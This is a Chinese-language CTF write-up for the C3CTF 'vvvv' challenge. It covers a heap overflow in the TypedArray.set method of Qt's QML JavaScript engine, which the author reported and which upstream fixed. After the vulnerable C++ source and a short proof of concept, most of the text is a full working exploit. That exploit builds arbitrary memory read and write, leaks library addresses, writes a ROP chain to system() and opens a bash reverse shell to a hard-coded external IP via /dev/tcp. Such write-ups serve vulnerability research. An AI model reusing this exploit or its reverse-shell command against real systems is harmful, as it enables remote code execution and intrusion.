按照之前的惯例,每年最后一天写下C3CTF的writeup,今年搞定了一个题目vvvv,这是关于Qt的JS引擎的题目

这个ZAJ分类感觉是需要让我们找0day?我通过代码审计找到了两个堆溢出漏洞,其中有一个是可利用的,然后比较幸运地拿到了FirstBlood

我找到的漏洞是在TypedArray中,如下所示

ReturnedValue IntrinsicTypedArrayPrototype::method_set(const FunctionObject *b, const Value *thisObject, const Value *argv, int argc)
{
    Scope scope(b);
    Scoped<TypedArray> a(scope, *thisObject);
    if (!a)
        return scope.engine->throwTypeError();
    Scoped<ArrayBuffer> buffer(scope, a->d()->buffer);

    double doffset = argc >= 2 ? argv[1].toInteger() : 0;
    if (scope.engine->hasException)
        RETURN_UNDEFINED();
    if (!buffer || buffer->isDetachedBuffer())
        return scope.engine->throwTypeError();

    if (doffset < 0 || doffset >= UINT_MAX)
        RETURN_RESULT(scope.engine->throwRangeError(QStringLiteral("TypedArray.set: out of range")));
    uint offset = (uint)doffset;
    uint elementSize = a->d()->type->bytesPerElement;

    Scoped<TypedArray> srcTypedArray(scope, argv[0]);
    if (!srcTypedArray) {
        // src is a regular object
        ScopedObject o(scope, argv[0].toObject(scope.engine));
        if (scope.engine->hasException || !o)
            return scope.engine->throwTypeError();

        double len = ScopedValue(scope, o->get(scope.engine->id_length()))->toNumber();
        uint l = (uint)len;
        if (scope.engine->hasException || l != len)
            return scope.engine->throwTypeError();

        if (offset + l > a->length())
            RETURN_RESULT(scope.engine->throwRangeError(QStringLiteral("TypedArray.set: out of range")));

        uint idx = 0;
        if (buffer->isDetachedBuffer())
            return scope.engine->throwTypeError();
        char *b = buffer->d()->data->data() + a->d()->byteOffset + offset*elementSize;
        ScopedValue val(scope);
        while (idx < l) {
            val = o->get(idx);
            if (scope.hasException())
                return Encode::undefined();
            val = val->convertedToNumber();
            if (scope.hasException() || buffer->isDetachedBuffer())
                return scope.engine->throwTypeError();
            a->d()->type->write(b, val);
            if (scope.engine->hasException)
                RETURN_UNDEFINED();
            ++idx;
            b += elementSize;
        }
        RETURN_UNDEFINED();
    }

    ...
}

PoC如下

var a = new Array(0xffffffff);
var b = new Uint32Array(0x100);
b.set(a, 0x10);

漏洞报告给官方后已经修复https://code.qt.io/cgit/qt/qtdeclarative.git/commit/?id=2d566bb65def5b759bb4d93d767c4377bc6c5e0a,full exploit如下

var a = new Array(0xffffffff);
var c = new Uint32Array(0x400);
var b = new Array(0x1000);
var d = new Array(0x1000);

for (var i = 0; i < b.length; i++) {
    d[i] = new ArrayBuffer(0x1000+i);
    b[i] = new Uint8Array(d[i]);
    b[i][0] = 0x11;
    b[i][1] = 0x22;
    b[i][2] = 0x33;
    b[i][3] = 0x44;
}

a[0x3f6] = 0x1;
a[0x3f7] = 0xffffffff;  // size
a[0x3f8] = 0xffffffff;
a[0x3f9] = 0x6666;
a[0x3fa] = 0x18;    // offset_low
a[0x3fb] = 0x0;     // offset_high
a[0x3fc] = 0x55555555;
a[0x3fd] = {
    valueOf: function() {
        function write64(arr, idx, val) {
            for (var i = 0; i < 8; i++) {
                arr[idx+i] = val & 0xff;
                val /= 0x100;
            }
        }

        function read64(arr, idx) {
            val = 0
            for (var i = 7; i >= 0; i--) {
                val = val * 0x100 + arr[idx+i]
            }
            return val;
        }
        var A, B, B_offset;
        for (var i = 0; i < b.length; i++) {
            if (b[i][0] == 0x55 && b[i][1] == 0x55 && b[i][2] == 0x55 && b[i][3] == 0x55) {
                print(i);
                A = new Uint8Array(d[i]);
                break;
            }
        }
        for (var i = 0; i < 0x10000; i += 8) {
            if (A[i] == 0x1 && A[i+0x10] == 0x18 && A[i+0x18] == 0x11 && A[i+0x19] == 0x22 && A[i+0x1a] == 0x33 && A[i+0x1b] == 0x44) {
                print(i.toString(16));
                B_offset = i + 0x10;
                A[i+0x4] = 0xff;
                A[i+0x5] = 0xff;
                A[i+0x6] = 0xff;
                A[i+0x7] = 0xff;
                A[i+0x18] = 0x66;
                A[i+0x19] = 0x66;
                A[i+0x1a] = 0x66;
                A[i+0x1b] = 0x67;
                break;
            }
        }
        for (var i = 0; i < b.length; i++) {
            if (b[i][0] == 0x66 && b[i][1] == 0x66 && b[i][2] == 0x66 && b[i][3] == 0x67) {
                print(i);
                cmd = "bash -c 'bash&>/dev/tcp/39.100.97.31/66667<&1';";
                for (var j = 0; j < cmd.length; j++) {
                    b[i][j] = cmd.charCodeAt(j);
                }
                B_idx = i;
                B = new Uint8Array(d[i]);
                break;
            }
        }
        write64(A, B_offset, 0xffffffffffff0000);
        B.subarray(0, 1);
        var heap_to_js_heap_offset, vtable, libqml_base;
        for (var i = 0; i < 0x10000; i += 8) {
            if (B[i+1] == 0x4 && B[i+0x10-8] == 0xc0 && B[i+0x15-8] == 0x7f && B[i+0x61] == 0x4) {
                vtable = read64(B, i+8);
                libqml_base = vtable - 0x51f4c0;
                print('libqml_base: ' + libqml_base.toString(16));
                break;
            }
        }
        var self_addr;
        write64(A, B_offset, 0xffffffffffff0000-0x2000);
        for (var i = 0; i < 0x10000; i += 8) {
            if (read64(B, i) == 0x0000000000000000 && read64(B, i+0x10) == 0x0000001200000001 &&
                read64(B, i+0x18) == 0x0005000400000020) {
                self_addr = read64(B, i+0x40) + 0x12000 - i
                print('self_addr: ' + self_addr.toString(16));
                break;
            }
        }


        write64(A, B_offset, libqml_base + 0x51c998 - self_addr);
        var memmove = read64(B, 0);
        print('memmove: ' + memmove.toString(16));
        var temp, libc_base;
        for (var i = 0; i < 0x40000; i++) {
            write64(A, B_offset, memmove - i * 8 - self_addr);
            temp = read64(B, 0);
            if (temp == 0x03010102464c457f) {
                libc_base = memmove - i * 8;
                break;
            }
        }
        print('libc_base: ' + libc_base.toString(16));
        write64(A, B_offset, libc_base + 0x1c5d00 - self_addr);
        var stack_addr = read64(B, 0);
        print('stack_addr: ' + stack_addr.toString(16));
        var system = libc_base + 0x491c0;
        var pop_rdi = libc_base + 0x2762d;
        var ret_addr = stack_addr - 0x9c0;
        write64(A, B_offset, ret_addr - self_addr);
        write64(B, 0, pop_rdi);
        write64(A, B_offset, ret_addr + 8 - self_addr);
        write64(B, 0, self_addr+0x18);
        write64(A, B_offset, ret_addr + 0x10 - self_addr);
        write64(B, 0, self_addr+0x18);
        write64(A, B_offset, ret_addr + 0x18 - self_addr);
        write64(B, 0, system);
        return 0xdeadbeef;
    }
};

c.set(a, 0x10);